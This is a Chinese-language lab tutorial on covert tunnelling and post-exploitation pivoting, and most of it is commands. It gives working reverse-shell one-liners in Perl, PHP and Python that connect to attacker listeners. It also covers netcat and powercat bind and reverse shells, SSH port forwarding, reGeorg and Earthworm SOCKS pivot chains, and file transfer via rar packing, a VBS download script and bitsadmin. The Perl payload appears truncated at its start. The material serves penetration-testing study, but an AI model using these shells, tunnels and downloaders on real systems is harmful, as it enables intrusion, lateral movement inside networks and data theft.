隐藏通信隧道技术(下)
目录
第二种:目标主机没有安装nc,使用php也可以反弹shell
一、传输层隧道技术
1.Netcat获取shell(反向shell)
第一种:如果目标主机安装nc
- 在本地监听5555端口
- 在目标主机上输入一下payload
-
Socket;$i="10.2.1.170";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-
- 在本机查看shell已经反弹
第二种:目标主机没有安装nc,使用php也可以反弹shell
- 首先还是在本地监听5555端口
- 然后再目标主机输入一下payload
-
php -r '$sock=fsockopen("10.2.1.170",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
-
然后查看本地主机发现反弹shell成功
第三种:使用Python反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.19",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
2.Netcat搭建内网代理获取shell
原理:公网服务器(kali2019)将web服务器(kali2021)作为代理访问内网的服务器(windows7)
- 首先在自己的服务器监听端口
-
然后将nc的脚本程序放到目标主机上,然后将shell放到配置好的端口下
-
Nc –lvp 5555 –e /bin/sh linux系统
-
Nc –lvp 5555 –e c:\windows\system32\cmd.exe window系统
-
最后在边界服务器上连接双方的端口
-
nc -v 10.2.1.170 8888 -c "nc -v 172.31.1.69 5555"
-
-
然后再本机查看反弹shell成功
Powercat工具的使用
下载链接 :https://github.com/besimorhino/powercat
1.powercat获取正向shell
- 首先在目标机开启powercat
- 然后使用管理员权限运行cmd
- 修改权限:Set-executionpolicy remotesigned
- 然后引用powercat:
- 最后将shell权限给到端口: powercat –l –p 6666 –e cmd.exe –v
- 最后欧在主机监听端口即可:
2.powercat获取反向shell
- 第一步先监听端口
- 第二步在目标主机上使用powercat:powercat -p 172.31.1.69 -p 9999 -e cmd.exe
3..powercat文件传输
- Windows7下执行: powercat –l –p 4444 -of c:\1.txt -v
- Windows server 2012: powercat –c 192.168.150.7 –p 4444 –i c:\1.txt –v
- 可以在2012上继续添加内容,然后ctrl+c结束传输即可
4.powercat做代理
虚拟机有点问题暂时不做演示
C:powercat –l –v –p 6666 –e cmd.exe
B:powercat –l –v –p 8000 –r tcp:192.168.150.7:6666 (作为跳板)
A:nc 192.168.150.12 8000 –vv
二、应用层隧道技术
1.SSH协议隧道技术
1.环境搭建
- 需要修改配置文件:vi /etc/ssh/sshd_config SSH配置文件
- PermitRootLogin yes 是否允许root登录
- PasswordAuthentication yes 是否允许使用基于密码的认证
- Allow TcpForwarding yes 是否允许转发TCP协议
- GatewayPorts yes 是否允许远程主机连接本地转发端口
- TCPKeepAlive yes 保持心跳,防止ssh断开
- 重启ssh
- Service ssh restart
- /etc/init/ssh restart
2.ssh常见建立ssh隧道所用到的参数
- -C 压缩传输,加快传输速度。
- -f 将ssh转入后台执行,不占用当前的shell
- -N 建立静默连接(建立了连接,但是看不到具体会话)
- -g 允许远程主机连接到本地用于转发的端口
- -L 本地端口转发
- -R 远程端口转发
- -D 动态转发(socks代理)
- -p 指定ssh端口
3.ssh-本地端口转发
B为中间服务器,可以访问A,C两主机,但是A,C之间不通(或者C能通A),那么可以vps使用下面方法,进行端口转发
A10.2.1.88 B:10.2.170 C:72.31.1.69
- 首先在中间机上输入:ssh -CfNg -L 222:172.31.1.69:3389 root@10.2.1.170
- ssh -CfNg –L 本地端口(vps):目标主机:目标端口 @中间web服务器ip
- 然后输入本机密码即可
- 最后在B服务器访问端口:desktop 10.2.1.88:1111
4.ssh-远程端口转发
Ssh远程转发 远程端口转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地对应端口
B为中间服务器,可以访问A,C两主机,但是A,C之间不通(或者C能通A),那么可以在中间服务器上使用下面方法,进行端口转发
A10.2.1.88 B:10.2.170 C:72.31.1.69
- ssh -CfNg -R 888:172.31.1.1:3389 root@10.2.1.170
- 输入170的密码,然后连接即可
5.ssh-动态端口转发
在中间服务器上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入web服务器的密码
- 首先在web服务器输入:ssh –CfNg -R 2222 :172.31.1.69:3389 root@10.2.1.170
- 然后输入密码
- 修改公网服务器的代理文件 :vi /etc/proxychains.conf
- 使用:proxychains curl 172.31.1.69:80
总结:动态端口转发就是将web服务器作为代理,使得攻击者可以访问web服务器能访问到的资源
2.HTTP协议隧道技术
1.工具:reGeorg:
https://github.com/sensepost/reGeorg
可以看到该工具有很多脚本,根据所需选择合适的脚本即可
2.常见参数说明
-
-R 根据上一次进度继续破解 -p指定密码破解
-
-S 使用ssl协议连接 -P 指定密码字典(文件)
-
-s 指定端口 -t 指定多线程数量
-
-l 指定用户名 -vV 显示详细过程
-
-L 指定用户名字典
3.复现
- 首先修改代理文件,开启代理
- python reGeorgSocksProxy.py –u http://172.31.1.69/tunnel.nosocket.php -p 9050
3.socks代理
1.socks简介
- Socks代理不是socket端口转发,不能混为一谈
- 一个正常的socket隧道必备两端,一侧为服务端,它会监听一个端口等待客户端连接;另一侧为客户端,通过传入服务端的ip和端口才能主动连接到服务器。 端口转发工具(lcx.exe/htran)的工作原理:是将两条socket隧道对接起来,打造一条可“异步双向通讯”的转接隧道。
- Socks代理功能核心:帮他们完成socket访问网络。当我们通过代理服务器访问一个网址时,socks服务器其实时起到了一个中间人的身份,他们分别与双方(浏览器/被访问网站)通讯,然后将获取到的结果告知另一方。
- Socks代理的工作原理:当我们访问一个网站时,浏览器会先发送一个被访问目标基本信息(url和服务端口)给socks服务端,socks服务端解析了这个信息后,会代替浏览器去访问目标网站,并将访问的结果回复给浏览器端
2.socks代理与端口转发的区别
- socket端口转发无需通讯协议支持,而socks代理需要socks协议支持
- socket端口工作方式不一样
- socks代理一对多,端口转发一对一
3.工具:Earthworm(EW)
- 下载:EarthWorm
- 6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
- 开启socks正向代理(双向连通)
- ./ew_for_linux64 -s ssocksd -l 1080
- 开启之后这个服务器作为代理服务器
- 然后再19服务器上边修改代理配置文件
- proxychains curl 172.31.1.69
- socks反向代理()
-
首先开启客户机的socks服务
-
./ew_for_linux64 -s rcsocks -l 7777 -e 8888
-
然后
-
然后再内网服务器是上开启socks服务器端:
-
然后再公网服务器上再次修改代理配置文件,改为web端服务器代理的端口7777
-
-
socks二级级联
- 在目标服务器上执行:ew –s ssocksd –l 9999
- 在中间服务器上执行:ew –s lcx_tran –l 1080 –f 192.168.150.7 –g 9999
-
多级级联:Lcx_listen、lcx_slave的用法:
-
在vps执行:ew –s lcx_listen –l 1080 –e 8888
-
在目标服务器上执行:ew –s ssocksd –l 7777
-
在中间服务器上执行:ew -s lcx_slave -d 10.2.1.170 -e 8888 -f 172.31.1.69 -g 7777
-
4.压缩数据
4.1 工具:WINRAR
WINRar是一种功能强大的文件压缩/解压工具,支持大多数的压缩文件格式。如果目标主机安装了winrar,可以直接使用,如果没有安装,可以在本地安装后,把WinRAR安装目录里面的rar.exe文件提权出来,上传到目标主机中运行,注意:安装WinRAR的操作系统版本和目标主机的操作系统必须相同,否则可能出错
- 压缩: rar.exe a –k –r –s –m3 c:\web\1.rar c:\web
- (把C:\web目录下的所有内容打包为1.rar,放到c:\web下)
- 解压: rar.exe e c:\web\1.rar
5.上传下载
5.1利用FTP协议上传,需要ftp账户和密码
- Get 1.txt //下载
- Put 1.txt //上传
- Send 1.txt //上传
- Quit //结束会话
- Cd <name> //进入目录
- Lcd <文件夹路径> //定位本地文件夹
5.2利用VBS和VPS上传
运行以下两条命令,即可将vps上的文件下载下来,需要改vps的ip,和下载位置
-
echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://192.168.150.7/1.txt^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"C:\11.txt^",2 >down.vbs
2.Cscript down.vbs
5.3利用bitsadmin下载
- bitsadmin /rawreturn /transfer getfile http://192.168.150.7/1.txt c:\111.txt
- bitsadmin /transfer q http://192.168.150.7/1.txt c:\1.txt